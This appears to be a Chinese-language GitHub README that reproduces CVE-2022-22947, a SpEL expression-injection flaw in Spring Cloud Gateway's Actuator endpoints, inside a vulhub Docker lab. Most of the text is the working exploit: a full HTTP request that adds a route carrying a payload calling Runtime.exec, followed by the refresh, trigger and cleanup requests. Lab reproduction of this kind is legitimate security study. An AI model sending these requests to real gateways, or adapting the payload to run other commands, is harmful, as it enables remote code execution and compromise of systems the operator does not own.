Greetdawn / CVE-2022-22947

CVE-2022-22947

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。

漏洞环境

git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml
docker-compose up -d

漏洞利用

向routes接口中发送如下数据包：

POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329

{
  "id": "greetdawn",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

看到以上数据包说明新增路由创建成功。

再次发送如下数据包，应用刚才添加的路由，触发SpEL表达式执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329

请求刚才创建的路由，触发恶意代码

GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0

注：删除如下路由

DELETE /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0